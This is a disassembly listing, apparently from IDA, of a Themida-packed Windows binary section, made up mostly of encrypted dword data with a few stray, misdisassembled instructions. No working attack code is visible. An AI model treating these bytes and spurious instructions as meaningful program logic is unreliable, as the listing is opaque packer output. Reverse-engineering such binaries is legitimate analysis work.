dd 6040D78Ah, 5CF8ED70h, 6A80403Ch, 38D12D41h, 41937F30h
dd 1E89E79Ah, 8095E4BBh, 0ADC4D431h, 454BDEE8h, 882A8CD0h
dd 0B5B824D6h, 0C9EE0094h, 2887C863h, 5B3B1009h, 56BC0341h
dd 0BAAA4BFh, 4C84C6B0h, 0E8754918h, 4660AB0h, 4978AB38h
dd 906682AFh, 0F9183CE0h, 0EC20A65Eh, 4E9EB3B4h, 33CA2EDh
dd 31AB922Ah, 3742D17Ch, 0E8F4A4D5h, 0E050F5AEh, 13D217F2h
dd 309E7135h, 0D0FE26CCh, 0E1686100h, 0F9AC4117h, 1FF70E44h
dd 74E13673h, 0EC61A2EDh, 40A00F3Ch, 2CB84A88h, 385DB413h
dd 8F8BE008h, 0E1095015h, 0A9F91048h, 0CA407CB4h, 0FA9D762Fh
dd 8AAE0F30h, 9084CB60h, 56E0D0AAh, 0B1C61C14h, 7391A5Ch
dd 0BFB41894h, 0E00A60C2h, 9B00254Ah, 1A11D848h, 0B0FB64CFh
dd 0CC9A5E04h, 3D006C88h, 0C86506E5h, 0BFB634E7h, 648D9890h
dd 0D847DF27h, 0C59F3AAEh, 0AE48AD83h, 0BFF0D1E7h, 794BDADEh
dd 63968490h, 0E93F1DF6h, 91E4022h, 920776B3h, 1A4FFC05h
dd 78048FE2h, 1B4F0DA7h, 59503092h, 0D8A4D91Ah, 0D0C8F94Fh
dd 9FB7F61Bh, 66132082h, 0C0000866h, 1679642Bh, 43196h
dd 34C5B3C8h, 92CEC4D2h, 99A46B09h, 6E3001EDh, 203AAF84h
dd 272AD138h, 0E3E28D00h, 0FA1153C8h, 5E894C4h, 0A2DB26E6h
dd 5ABD0010h, 1374D8F9h, 0BB4E0062h, 3954BF22h, 0A9007BD9h
dd 8DD33017h, 4ADE4F8h, 0D4634A6Fh, 80F0F836h, 5F42B51Ch
dd 12676BAh, 54A24CDAh, 0C0A063E8h, 0A50937B2h, 1274757h
dd 6E150580h, 89FC5470h, 0BC733Dh, 190B3503h, 710EFC2h
dd 7597E4EBh, 0B8E6C4D6h, 677E8088h, 0BAF83Fh, 0E522FDB6h
dd 0CF59E8A1h, 0C88C184Eh, 9FD9F0CEh, 68C4A098h, 6AAC4900h
dd 8C282591h, 7F31C5B0h, 2D1C03F6h, 95F0E4E0h, 807EB25h
dd 0B3C0BD77h, 1541424Fh, 0A0A8C33Bh, 3DEA695Ah, 0C84EA17Eh
dd 29078DCCh, 5B054FCAh, 21FCB730h, 0D38500F2h, 98C7F15Ch
dd 0C63F04B1h, 4B73A552h, 0BA48D87Ch, 0C2780050h, 11939DBFh
dd 87F22ECDh, 0D5CCFB04h, 20AFF7F9h, 76E5420h, 1FE1820Bh
dd 9C478120h, 72703A3Dh, 3C755CD0h, 986B440h, 0CB7AA7BDh
dd 0B802487Ch, 0DC8C2662h, 4D2442E0h, 0C0C6F1E2h, 462A9603h
dd 8094E41Ch, 9B9095Fh, 9827D0EDh, 1C61B412h, 0C0207B6Ah
dd 124B6Eh, 6D0F08D3h, 76F639F8h, 27DF4F3Eh, 31CF0A4h
dd 0B0B7D3CDh, 0D2B493D7h, 0BCD11788h, 64D9C600h, 155DD54h
dd 0DC656096h, 0C3622A32h, 3BA07EC9h, 0A357DC80h, 0A8F92403h
dd 6D8C40B8h, 8D17C808h, 34887E81h, 0DBD92E65h, 17F36350h
dd 4AE25F8h, 7C7DA47Eh, 0AC952E00h, 76D886D1h, 88265F6Ah
dd 0B900FBE0h, 3491B664h, 144072E4h, 0E8CA31E8h, 0FA15710Bh
dd 123BD000h, 0BE0BC057h, 9CD9F3h, 285DF558h, 0BF85F4D6h
dd 264EA000h, 0C804595h, 225C98D0h, 0C8005E90h, 6B308C44h
dd 9974D4EAh, 0A5F50004h, 0C04F42F1h, 8AED1E02h, 0E1389EF2h
dd 0E8393F75h, 35EF0700h, 6F058A4h, 0FFB24202h, 0E6750CBDh
dd 0FC3C1730h, 5FCF00ADh, 1AB184C5h, 0F84A4525h, 0F098011Ch
dd 0B41D92D1h, 0E0233A75h, 4A02C8BAh, 9C501CA0h, 0E87409Dh
dd 244198BFh, 26DAA3Fh, 3F209654h, 40047428h, 1C8F8D89h
dd 0A3F96412h, 9600D0B3h, 5ED1B7A7h, 640541A4h, 7A3282Dh
dd 7D559CC1h, 3D1EA422h, 0DBF6C006h, 0ABA24957h, 55ED8E09h
dd 42B4DC0Fh, 0C54699Ch, 4D151E05h, 8D8198ADh, 32AC3868h
dd 0ADE9008Ch, 0AB5AC092h, 0B5A60B36h, 8704ED5h, 0F020CD4Eh
dd 0E27F4301h, 0B60400FBh, 97B8107Eh, 0BF27B9Fh, 416F1501h
dd 95A6155h, 2C9091h, 0C97C6AD1h, 51FC373h, 0D397282Ah
dd 1682C03Bh, 44FD6E6h, 0C27228DCh, 0F87DC3F8h, 18E14320h
dd 1897B0Bh, 99EE21BFh, 30AB6A6Eh, 87E67F38h, 93800F11h
dd 24DAB800h, 75A14DC6h, 52A8C225h, 0A3C70190h, 0ECF15D11h
dd 4C03CE6h, 0F2828022h, 0A948A480h, 36141293h, 3884F20Bh
dd 0B42D89E3h, 0FFF300BCh, 4F099EBh, 0E623BA6Eh, 960F8CFh
dd 4845C566h, 39D63970h, 27ACAC7h, 0F625CB12h, 8841AB16h
dd 7F7884B5h, 1F81F163h, 72F44F13h, 0F8B0975Eh, 0C839495Fh
dd 5C56A65Bh, 0B46E441Eh, 4611D847h, 0C2C8C4E1h, 68B730D5h
dd 899363AAh, 0E8E25D4Ah, 5BA46E3Bh, 436262Dh, 0C23DE924h
dd 74407334h, 3300F14Ch, 91208CDCh, 0FA88ECD5h, 0ABFF0925h
dd 8545B14h, 688C5500h, 0F6C2E411h, 80E89EAFh, 9B7D548Ah
dd 0DD13A5A6h, 0BBD758h, 35961364h, 0BB3AC836h, 92CF80DCh
dd 4F1E81Fh, 0AB5913CEh, 45DC207Ah, 0B600AF70h, 0D884A748h
dd 56D3B65h, 0F488193Dh, 6A8003C6h, 0C9FDE31Ah, 80CC28D4h
dd 631D7209h, 17B00030h, 9CF0506Bh, 950034D3h, 0A8E008C1h
dd 0BDF1D63Eh, 45911030h, 0C470CF89h, 0AF4A25FBh, 0AE747C48h
dd 0D2C57F00h, 75B96ED5h, 0ECE45C1Bh, 0CC9E36C0h, 0A7F6C048h
dd 0CFA3E13Ah, 0BC23EC27h, 0BF80C56Ch, 23C7C6h, 59BEBF9h
dd 1FCEEFF0h, 38A03090h, 0E14FBD55h, 76E82809h, 291504ACh
dd 0B1ECA446h, 2E14910Fh, 4A3CC0D7h, 60F8B9A9h, 0EC27C9A6h
dd 10BF26D3h, 4A7E14h, 4CD9BF69h, 0FE564E65h, 0BB3F1400h
dd 83733068h, 6768C0B4h, 95ECA620h, 0A8F8CD12h, 44755C22h
dd 911E3B40h, 558AB401h, 44DF19FCh, 9F943070h, 0CD00A12Ah
dd 6F203554h, 9C7F3C8h, 7D58B650h, 8683A010h, 0AC427100h
dd 698F7E30h, 8E80FFAh, 0E7CB22C1h, 0D4021064h, 0BF7516F7h
dd 48AD4015h, 80210F53h, 0C28117CAh, 286EB088h, 59050598h
dd 0FB8194C4h, 0F6C4585Dh, 0C71B292Bh, 17F8A6D4h, 65F0D1E3h
dd 22A7E458h, 0CC9994F0h, 0E1A1E703h, 54ADA206h, 9488030h
dd 3968B5FFh, 0CC08E900h, 4A6A8052h, 9EF31C51h, 0A8D2922Eh
dd 0C4D02DF4h, 0F6170B18h
dd 378701CFh, 28CAF1h, 11047A24h, 1038FC31h, 169B8013h
dd 36FA779Eh, 66E200FDh, 1C65CC58h, 9C9853DAh, 45D4D613h
dd 0C076F092h, 0BDC4E1h, 0DAFBC159h, 78A7853Eh, 4B32AD00h
dd 0BC08E21h, 0B8B94867h, 129F9426h, 9208FCC5h, 4092CF0Fh
dd 0A15B01Ah, 8ED0036h, 656CF5E6h, 64975542h, 9798A174h
dd 394D9070h, 48035EAh, 3A59E085h, 480506E5h, 0BF4F2F96h
dd 6C8000E8h, 0CBB92D93h, 43DD400Eh, 0F220216Eh, 70B6D9h
dd 0A2F82CF7h, 0B353C07Ch, 4C9F55DEh, 4B8000D4h, 54D9EC01h
dd 0E548BD77h, 0DF520590h, 1C834CB8h, 9F44BFB4h, 2E808CACh
dd 0A68ECC4h, 1A97D003h, 981F23FFh, 0FE4364A2h, 0C7D30026h
dd 8A6A69B6h, 1825C4E3h, 2684D1D9h, 59D240A0h, 0CB028424h
dd 0CCFFED9Fh, 7EC51D0h, 9073512Fh, 0E7D2C48Bh, 46269D2Fh
dd 8E9044F0h, 29B94904h, 0F8C3A7F2h, 51EC9287h, 0D7430FA8h
dd 0A6B5F1C0h, 57738E2Eh, 0D5809A00h, 300DC107h, 4B5E0978h
dd 74C84627h, 0B05CA33h, 0AF7DE8DCh, 0F40308BDh, 61D73DF9h
dd 0B6D806D0h, 66EA7500h, 45F5C4A4h, 228E4E26h, 0AC7E6104h
dd 0A4508A11h, 6EC80085h, 5D2ABCA4h, 7CB1F2A8h, 1F98C981h
dd 0BF60894Ah, 0B522015Bh, 0F630D1A2h, 0C539C4B8h, 0B8023F4Bh
dd 573EDE8Bh, 0ADE86898h, 5D28E897h, 0B75B003Dh, 513026E9h
dd 2CB0044Ch, 641A6625h, 6AC0F12Ch, 0B5810009h, 0EE5E4C36h
dd 72009CE5h, 0A35764D1h, 1C9824A2h, 0C1D55606h, 0F0071B9Eh
dd 729BC528h, 0C70458D0h, 3720DD2Ah, 7E37D8Dh, 0A8A5540Dh
dd 5627B529h, 1CD8F318h, 44C1722Eh, 0BCAAAEB6h, 146E5C20h
dd 8CECDEC5h, 0DD009CC9h, 4A87064h, 0CA17FA26h, 4AE14B00h
dd 2CB8C633h, 0B7ED2Ah, 0CE8F983Bh, 1C5DE85Bh, 99141814h
dd 17AD9D0h, 0FAB567C4h, 2AF040B2h, 9AAA7420h, 0CB2E00B8h
dd 53FD4594h, 0AB014D25h, 41CC2177h, 9EC56D6h, 1A8C3DEDh
dd 0E529F400h, 0E784B55Eh, 0C01CC54Ch, 70CE965Bh, 0B8E35E61h
dd 3638B6h, 7EB3CADEh, 9DCD6AD5h, 751EE4C4h, 0C2000E10h
dd 70151B81h, 418D030Ah, 2FCA6B26h, 616AD4B0h, 32670C0Ch
dd 2C45617h, 186CF7B5h, 40D44233h, 0B7CA834Fh, 0EE3A883Bh
dd 24220037h, 9EB05768h, 0D4046EDDh, 7F04FE53h, 440068F9h
dd 31A790B2h, 0A1045ABFh, 0E2B02CF4h, 0EF48Ch, 3673A659h
dd 44233295h, 0E575F600h, 1E1CBB3Ah, 0BAE83178h, 0E8D55B78h
dd 4200B837h, 558924C4h, 7FF015A2h, 1DE6001Bh, 872A0FC9h
dd 0E103A458h, 3E94A6CDh, 68380056h, 0E02D89A3h, 2E3DE75Ch
dd 0A5670376h, 0B7ED1FE1h, 0A680B8A7h, 22E45EE6h, 6F302A2Eh
dd 80417947h, 6B3E005Fh, 99E574CFh, 3B001BEFh, 36557954h
dd 733D3321h, 0EC8C7553h, 34E318BEh, 0B8EA493Fh, 1E755500h
dd 916C7466h, 92F087h, 0D07BA2FDh, 821451E9h, 96013675h
dd 0E427F3Bh, 408037B5h, 0BCF9C44h, 98068418h, 0D78B32ACh
dd 506C50D4h, 0DF173FE6h, 8736A900h, 0F1F7CF41h, 8D6B203h
dd 0D18C6705h, 9187BACBh, 0A31C5137h, 11124F6Ch, 0E01FDB90h
dd 0B9B57800h, 311969Dh, 95268F87h, 287857CFh, 0BA4B7500h
dd 73EA74C8h, 3970E3D7h, 0D4F707C5h, 0B00586CAh, 0F9CC48A5h
dd 23FA7900h, 0E143DCBEh, 0DEF400F8h, 4B57F5D7h, 0BC606750h
dd 0C2B25DE1h, 381926A0h, 0C09037A5h, 76645EDBh, 0BE12740Fh
dd 0D4C6200Fh, 282EDAB6h, 114396Fh, 97528F3Fh, 0BEBECAFEh
dd 75BC00A9h, 19E2583Ch, 15E07E45h, 8033948Ch, 0FA13520Eh
dd 0F9822960h, 4E78019Eh, 38B30A00h, 0EA1479DBh, 7F2E0C8Ch
dd 0AAA93F39h, 0C7572F00h, 0EE6BD7C8h, 686C4C01h, 0F8EA8200h
dd 0B7AB53F2h, 5C43306h, 894C56h, 17E42CEDh, 980A79BEh
dd 2D99200h, 3BF90EB5h, 54577548h, 5A84B3h, 0D980DDCCh
dd 0D2141B15h, 42637200h, 7C41B412h, 7FB618CBh, 402F58D4h
dd 7FE99C0h, 3AF1BBAh, 0CB358B4Dh, 7CF83A1Dh, 4300BC7Dh
dd 0BD22FA5Dh, 7A3CDAh, 0F66C3659h, 0D7B05FD5h, 0B8715118h
dd 0A861181h, 4194C59Ch, 0CD218094h, 0A5E5F54Fh, 0E71D7503h
dd 0C60CB7h, 41474431h, 0EC3C649Dh, 7A9663Ch, 185BAD0Dh
dd 451CB070h, 0ED26021Eh, 95778F2Bh, 3C00AC44h, 594E81F7h
dd 0EF2529h, 0D088A60Fh, 0B1A83F7Eh, 9D650403h, 0D039563Ch
dd 90B7F61Ah, 3EB40162h, 8473E17Bh, 8900DF0Dh, 862BF298h
dd 0E6DEEF1Ch, 5060A095h, 199300B5h, 3C8BA87Ch, 6D48906Fh
dd 43270128h, 0ECD536D8h, 4C752424h, 0A80F1CA0h, 5540521Ch
dd 617EB1AAh, 0CF37AA90h, 771029D6h, 1D0E3F11h, 45E640FEh
dd 40456CA9h, 0BACE05F8h, 0AF0374C7h, 640B92Fh, 62CAC0F8h
dd 0B58307EBh, 0E603D03Dh, 420051E8h, 5292365Ch, 0FC5AD3h
dd 0B819485Dh, 2E6E1F13h, 9929E763h, 0A8A7B931h, 304714C0h
dd 0E04E054Eh, 8006FC7Ah, 516CBE13h, 311B0089h, 5362B968h
dd 543DEC4Ch, 0ABB60F06h, 52C0A275h, 52C0446Eh, 0F8019893h
dd 0C024FBC4h, 0E303CC98h, 2E76BE00h, 0AECFE982h, 8CE117D1h
dd 0F971033Ch, 39003094h, 376FC09Ch, 7CFA11h, 4504E5B9h
dd 2821B51Dh, 0CC3CA53Bh, 29CDC068h, 5C6DC6Fh, 0FC0302F8h
dd 115B80DEh, 5B003E9Dh, 4BCA6E7Bh, 0C64D55E8h, 0A09E36D1h
dd 26BDF109h, 432A00D8h, 5817B992h, 610CCA60h, 6E913694h
dd 1E2C3C07h, 0AEC07755h, 71890B74h, 0F1A0000Ah, 0F7238811h
dd 3A01B319h, 51E78D68h, 0A183B667h, 16C0E60Bh, 0DE8CDD80h
dd 0A3841100h, 47533C97h, 2BB609BCh, 0CC0060CDh, 0D76F6D0Dh
dd 1C0AF8F0h, 0D8D3D138h, 0B7646280h, 7A16E554h, 241D7741h
dd 41DC30CFh, 0FFDBE8ACh, 43490AA8h, 0E3C29D2Dh, 41D9C2DFh
dd 0D4303A00h, 99C76169h, 5154B0CAh, 80ED2F88h, 6E7F6C69h
dd 188A0217h, 0A8DA8C8Eh, 0CB027ABFh, 2EE91486h, 6C8CA332h
dd 5410046h, 9981BD1h, 36FC2D17h, 7AA26D00h, 0A1B4CE50h
dd 0A7560E35h, 0FF07417Ch, 7214C251h, 11869040h, 4718BE24h
dd 0F0DB3706h, 84680389h, 0CA0E28B2h, 0FE1AB11Ch, 8E9EAAC0h
dd 0BED127h, 78BDEFFBh, 4016B802h, 6450FC13h, 35932821h
dd 0D200A9BBh, 91B021F0h, 620112F5h, 0E6541F38h, 24220C88h
dd 6D207907h, 9ACEB025h, 0A0B0D303h, 0E7055B1Eh, 6B2E1C85h
dd 6F87F480h, 23F9C35Ah, 0FA0B1BDh, 771F7AE9h, 36CD66BFh
dd 3C3021D3h, 1E43022Eh, 0BACC98FAh, 507638C0h, 8338684Ch
dd 655B9CAh, 9495CC31h, 0ED1CB924h, 0EB43A6D9h, 80966731h
dd 3CE585h, 0A9F1B5D3h, 68F4E154h, 0A1163CB8h, 684AD833h
dd 0BC11847Dh, 3881C12h, 0B708446Eh, 0C07E2028h, 2FF1AC16h
dd 0B0E04827h, 459BBAh, 2877FF86h, 32D26B43h, 0A5002F74h
dd 0B8E80D5Fh, 7319851Ch, 524B0620h, 69B10CA3h, 8A98300Fh
dd 80B7C04Fh, 6D18544h, 6CF3E443h, 4100E158h, 2021BE63h
dd 0EAE14F69h, 0E2F3026Dh, 6FAA66C1h, 650774C4h, 0C530883Ch
dd 0D032C0F3h, 4CB5627Eh, 887CFC3Ah, 6100242Ch, 0E39A34D6h
dd 12710EDBh, 21DC555h, 2EF9DC08h, 0FD00ECC4h, 64247C82h
dd 3AA4803Dh, 5CDC8821h, 0DB36AD08h, 7AE45680h, 2E16Ah
dd 4311BDE9h, 4497E264h, 35900C12h, 68294830h, 857C9Fh
dd 49209A3Dh, 0A5260EEh, 0EE18000h, 0D9E88AEh, 65B888AFh
dd 2D1CA9E8h, 0B441DAF5h, 0CB0D7FECh, 0E8FA2180h, 0A6ED9BDh
dd 7B099C00h, 0DB285FC6h
dd 6CCA0072h, 0E9EF8B9Ah, 88184662h, 9039AE0Dh, 0EA800757h
dd 60CB756Dh, 24BC1864h, 99501C7Dh, 0B6057AF8h, 30AC6973h
dd 801488h, 0C0552D2Ch, 367D0B28h, 0E2BC0EFh, 0FF59C863h
dd 4B9AA838h, 7DB4C59h, 0AC2A8000h, 0C8B5179Eh, 2C2EC575h
dd 0F880A85Ah, 0E389D784h, 0C0490C62h, 5A49B00Ch, 2B5E4B0Eh
dd 0E4E2407Fh, 4CD7095Ch, 0AB099CB8h, 0D88005C8h, 0CC4A2E83h
dd 8700A57Ch, 896C6FA7h, 75811Dh, 7ADB6625h, 11184A4Ch
dd 4E8B848h, 71504E2Eh, 0B060B4C9h, 0CC0C30C1h, 75791111h
dd 7448F82Eh, 0E9A14E00h, 8F52E7h, 3CF53268h, 6BCA662h
dd 13BD2E00h, 93C73342h, 0CCD5001Ch, 0B6652F04h, 8F02028Ah
dd 91FE7908h, 6F9D81D3h, 9C243B2Eh, 1EE302FCh, 6D2DCF72h
dd 580030C4h, 0C1456A22h, 2E21F7BFh, 136993E7h, 5AA807C0h
dd 553D1050h, 7401CA5Dh, 0E0CD602h, 3A105256h, 0EEECF217h
dd 2C57D203h, 848B864Dh, 3B3834C1h, 2368024h, 0B2A8A921h
dd 7C640B0Eh, 561600Eh, 4F7B8770h, 3104C0AFh, 1738A828h
dd 88E5D96h, 0EE80EC04h, 54709172h, 1C0F4CD8h, 0B4CB922h
dd 0FEA7068Dh, 4C995355h, 2A000728h, 820D9084h, 420026B1h
dd 3B8310C5h, 94752C6Dh, 1C241F0h, 551CF874h, 0DEEDF900h
dd 0D482CD1Eh, 7C3B0020h, 7AE3886Eh, 0E4602E72h, 0C9A3B991h
dd 0B8214FA5h, 8A700F9h, 0F6661781h, 1CD89005h, 62D636ACh
dd 80840E48h, 0C1AD1AF1h, 406B02F8h, 2FAC5DEEh, 160FD490h
dd 440142EEh, 0E3BE5FC0h, 0A4503C2Eh, 2EFF1CE1h, 40BC6F84h
dd 20B49C86h, 0ED668200h, 2FB2B0F7h, 0F63502C2h, 69FCAEA6h
dd 88D5C6C3h, 0B800A4D0h, 317E874Ch, 7B7A5EBEh, 5250007Bh
dd 7484FD39h, 0C0C2DE1Ch, 51C0D4A6h, 0B2CC007Ch, 0CE4C1A11h
dd 7AAADB00h, 8B01A2FBh, 7F351DC4h, 83E90421h, 0E09487FEh
dd 17B8856Ch, 2FA59C0Ch, 5CBF81EAh, 970EDD06h, 6540B1C5h
dd 0F01D04F1h, 0D8381912h, 1282FC24h, 16C5AB0h, 8F1D62CCh
dd 80CD0B02h, 83CE6391h, 0EE823A10h, 0EE130087h, 74754807h
dd 70F5AF7Ch, 9139E954h, 85551F24h, 1767FC42h, 7256h, 0D4C58AADh
dd 0FB28AFE7h, 24BB10Bh, 9F3498E5h, 77D5789Bh, 14E10CABh
dd 0A8E0FF79h, 4EB2CA1Ah, 1CE01849h, 0F2A20023h, 5EB4171Ah
dd 86002B45h, 0DD6C666Dh, 7355B8h, 945314F7h, 0E4D37D98h
dd 0E92EEF18h, 7EC78071h, 0BCBA2C91h, 0DCF2006Fh, 3E1AC91Ch
dd 32D55D1Dh, 6700706Ch, 0F633B79Fh, 1DDE0066h, 78D48812h
dd 4F53CB74h, 94F81C9Ch, 2CE911F0h, 6248014Bh, 5DDA01B7h
dd 793CC8B6h, 0A753F200h, 22B44642h, 803C9E56h, 0F5F03620h
dd 30960123h, 0FFA09841h, 5819D3E0h, 0E5800C0Eh, 0EBBFE3ADh
dd 0BB2FC738h, 7B900DDh, 45DF38BBh, 50FF0B9Dh, 0A8819B1Ch
dd 70C46261h, 8F0FAA29h, 806F67BCh, 0C83A5D7h, 0C9CA00E9h
dd 7D55770Eh, 8F78A0BDh, 0D64480B0h, 4C910Dh, 4624B69Bh
dd 0D701EBA1h, 900110A6h, 0EF60EC5Ch, 0DD0802D4h, 0E2FAFED6h
dd 903EEC98h, 0A8805100h, 8CF832F3h, 0E910022Eh, 82BA3995h
dd 7074F841h, 0B86EA4h, 6CCFCD14h, 72080F8h, 76E8119Fh
dd 32DC0028h, 6B5B3CDBh, 0C09E9519h, 0FCA70183h, 0F8738814h
dd 59B430CAh, 6E10D741h, 291BD914h, 0C0332EC0h, 2C436F16h
dd 0C01E32BEh, 14685D49h, 84BB488Bh, 38E3116h, 0E5394E5Ch
dd 0D76CC900h, 0F8AAA8D3h, 0D07F0013h, 7AB9D436h, 737145E0h
dd 258044B9h, 7637096h, 1B8709Bh, 1682B313h, 220D2B0Bh
dd 78439ACh, 2C59E95Eh, 11C83240h, 8E520E9Fh, 0BAE05021h
dd 76565FD7h, 78CB5B0Ah, 5501F5DFh, 157C127Fh, 5C5041C0h
dd 0A483EC6Fh, 9BA83DB2h, 241290F9h, 4C9055F7h, 0BF82F4h
dd 6E564F2Ah, 0EE7BACF9h, 12535522h, 92064Dh, 0B1D1AECFh
dd 65E09E91h, 0CB466E00h, 36E91186h, 0B2E1C338h, 45F7681Ah
dd 9E10CC41h, 0EB203F1Eh, 629D9340h, 0A0978Bh, 47B85114h
dd 9065C77Ch, 91ED8000h, 74FB58F5h, 33E7425h, 53F48887h
dd 7A9B8A51h, 5030A480h, 0ABEFEB00h, 1B87D7DCh, 47A00077h
dd 37A8217h, 0B303898Fh, 0EAD0FA94h, 2959D03Bh, 31E51FECh
dd 6448F099h, 67071BF5h, 5E6AA813h, 1F1987C6h, 80C35CBFh
dd 0EE8F1EBh, 2F00628Eh, 2174177Eh, 308C93AFh, 0D906472h
dd 130020FDh, 7736B4C6h, 0C84A7EDh, 82994292h, 33008551h
dd 0BC4A12E3h, 31A9760h, 849C35D4h, 491C71EFh, 7080B0C4h
dd 61F050A8h, 0E897F39h, 86EC7295h, 0D02975ACh, 0A49E000h
dd 8C2B7123h, 3019C184h, 0DB6A9A59h, 0B29D3AF8h, 4AFDD600h
dd 274635D1h, 1A440E08h, 0F465D984h, 6260038Bh, 98A050E3h
dd 0C1294AE4h, 0FF7F01CCh, 0B0FDh
db 3 dup(0)
; ---------------------------------------------------------------------------
loc_54B46B: ; CODE XREF: Themida_:loc_4E1265j
; DATA XREF: Themida_:loc_4E1086o
jmp loc_54E900
; ---------------------------------------------------------------------------
dd 0A3A00Fh, 0Dh dup(0)
dd 76E9h, 521E0A13h, 3 dup(0)
dd 0FF4D78DDh, 7D1h, 5 dup(0)
dd 7493h, 2 dup(0)
dd 0FFFC0608h, 0
dd offset word_5875A2
dd 8 dup(0)
dd offset byte_5A3033
dd 0A370C4h, 4 dup(0)
dd 77E6D706h, 0
dd 701C2719h, 0
dd 0B0h, 385FF68h, 0
dd 0DCh, 3 dup(0)
dd 200D0000h, 0
aV_0:
dw 3Eh
unicode 0, <¢>,0
align 4
aZk db '§Š',0
align 4
dd offset loc_5A52DF
dd offset byte_5A57ED
dd 0
dd 7493h, 3 dup(0)
dd 77E82764h, 3 dup(0)
dd offset loc_54F6B0
dd 8 dup(0)
dd 102DC36Dh, 11h dup(0)
public start
start dd 7 dup(0)
dd 7FFE0304h, 3 dup(0)
dd 0A6481E57h, 77D4C96Ah, 0
dd offset dword_5CFE0C
dd 2 dup(0)
dd 2F678DFFh, 4 dup(0)
dd 89971739h, 0Bh dup(0)
dd 0FFA63332h, 4 dup(0)
dd 6CF8h, 3 dup(0)
dd offset loc_59442B
dd 0A39499h, 0
dd 30DFh, 77D4C96Ah, 0
dd 0FFFFFFFFh, 80h dup(0)
dd 0FFFFFFFEh, 2 dup(0)
dd 3E75DD3Ah, 0
dd 77E79D5Bh, 77E82168h, 0A369DDh, 2 dup(0)
dd 0FFFFFF68h, 0A280105h, 58B1D1h, 58E45Ah, 0A309F7h, 3 dup(0)
dd 0D4h, 9 dup(0)
dd offset word_598B0A
dd 3 dup(0)
dd 7FFE0304h, 0
dd 0FFFFFFDEh, 0B4h, 0FFFF8FC4h, 2 dup(0)
dd 0A3FA56h, 5BBDCBh, 4 dup(0)
dd 7FFE0304h, 5 dup(0)
dd 130CF171h, 2 dup(0)
dd 7FFE0304h, 0Ah dup(0)
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 0A1h, 65h, 1
; ---------------------------------------------------------------------------
jmp short loc_54BA19
; ---------------------------------------------------------------------------
dw 40h
dd 7 dup(0)
dd 0FA443000h, 580BE8h, 77DD189Ah, 3 dup(0)
dd 0E663AF15h, 7FFE0304h, 2 dup(0)
db 15h
; ---------------------------------------------------------------------------
loc_54BA19: ; CODE XREF: Themida_:0054B9D0j
db 65h
pop eax
add [eax], ch
retf
; ---------------------------------------------------------------------------
dw 8052h
dd 2 dup(0)
dd 12FFA4h, 0
dd 4CB65003h, 3 dup(0)
dd 77F7EBB3h, 6, 7 dup(0)
dd 0F1E21A7Ah, 0
dd 0A43268h, 7FFE0304h, 3 dup(0)
dd 0A3915Bh, 2Dh, 0A35E2Eh, 0
dd 0EF7396E8h, 6 dup(0)
dd 36000h, 4 dup(0)
dd 0FEF5A728h, 0Ch dup(0)
dd 7FFE4F28h, 2 dup(0)
dd 0AEC50B6Eh, 0
dd 1D3FFB0h, 0FFA43FC4h, 2 dup(0)
dd 8001FCFCh, 385FF68h, 0D1A6568Dh, 57FA51h, 54C824h, 2 dup(0)
dd 1C032h, 97D8EA5h, 5BB8B0h, 54F2DEh, 58DC4Ah, 6 dup(0)
dd 0BF0654Dh, 0
dd 0C246DA44h, 54CB8Ch, 7 dup(0)
dd 3038h, 6 dup(0)
dd 0A369DDh, 6 dup(0)
dd 2, 6 dup(0)
dd 0A39393h, 77E776CDh, 3 dup(0)
dd 74736552h, 41747261h, 652E7070h, 6578h, 0
dd 8001FCFCh, 9 dup(0)
dd 0FB57239Ah, 3 dup(0)
dd 1, 9 dup(0)
dd 12FF60h, 77E7AC5Eh, 9 dup(0)
dd 84A7h, 2 dup(0)
dd offset loc_586443
align 10h
dd 7FFEFFFFh, 12FFA4h, 7FFE0304h, 5 dup(0)
dd 0D0h, 0Eh dup(0)
db 0CCh
align 10h
dd 2 dup(0)
dd 0E569h, 8AA7h, 0
dd 0A7A5E7h, 11h dup(0)
dd 130000h, 4 dup(0)
dd offset dword_5C4CC0
dd 0
dd offset sub_401000
align 10h
dd 0FFFFFFFFh, 2 dup(0)
dd 77E82FE8h, 4 dup(0)
dd 0B10000h, 0
dd 0D3412004h, 0Ah dup(0)
dd offset loc_57FCAA
align 10h
dd offset loc_57AE66+2
align 8
dd 7493h, 7 dup(0)
dd 77E75CB5h, 0
dd 0A5B134h, 4 dup(0)
dd 8A92h, 4 dup(0)
dd 30DFh, 0
aFm:
unicode 0, <F¬>,0
align 10h
dd offset loc_5D196A
dd 4 dup(0)
dd 0A369DDh, 0B8B5675Eh, 5 dup(0)
dd 25D0000h, 6 dup(0)
dd offset word_5A686A
dd 0
dd 0C7139DBBh, 85850001h, 77F51B2Bh, 7FFE0304h, 3 dup(0)
dd 0FA3AF4A2h, 0
dd 0FFFF47FBh, 0A33145h, 4 dup(0)
dd 0A3A00Fh, 2 dup(0)
dd 77E7C785h, 4 dup(0)
dd 3F9F8h, 14h dup(0)
dd 385FF68h, 0E1DE586h, 33050552h, 5 dup(0)
dd offset loc_5933FC+3
dd 0
dd 0FBD3h, 2 dup(0)
dd 0FFFFFFFFh, 5 dup(0)
dd 0A97A6D2h, 2 dup(0)
dd 0F7405740h, 3 dup(0)
dd 2, 3 dup(0)
dd 0FFFF912Ch, 8 dup(0)
dd 25D0000h, 3 dup(0)
dd 5B318BF1h, 4 dup(0)
dd 0A8h, 6 dup(0)
dd 7FFE0304h, 59BD8Eh, 0D0987289h, 7 dup(0)
dd 0A9C530DFh, 2 dup(0)
; ---------------------------------------------------------------------------
daa
jns short loc_54C08B
retf
; ---------------------------------------------------------------------------
dd 3 dup(0)
dd 0A2D554h
db 3 dup(0)
; ---------------------------------------------------------------------------
loc_54C08B: ; CODE XREF: Themida_:0054C075j
add [edx-53h], al
pop ecx
; ---------------------------------------------------------------------------
db 0
dd 7 dup(0)
dd 3CA00h, 0
dd 0F6052184h, 0
dd 0FD3CA2A0h, 8 dup(0)
dd 1, 54EE9Dh, 0
dd 0A3F45D88h, 0
dd 0E1014h, 5 dup(0)
dd 385FF68h, 0
dd 7FFE0304h, 57FCFAh, 77E776CDh, 20h dup(0)
dd offset loc_586443
align 8
dd offset byte_5776CD
dd 0FFA3ED3Ch, 5A083Ch, 2 dup(0)
dd offset word_5A7CDA
dd 2 dup(0)
db 0CCh
db 5Eh, 0DDh, 77h
dd 2 dup(0)
dd 77E78B82h, 2 dup(0)
; ---------------------------------------------------------------------------
inc eax
setalc
jmp loc_54C1E9
; ---------------------------------------------------------------------------
align 4
lahf
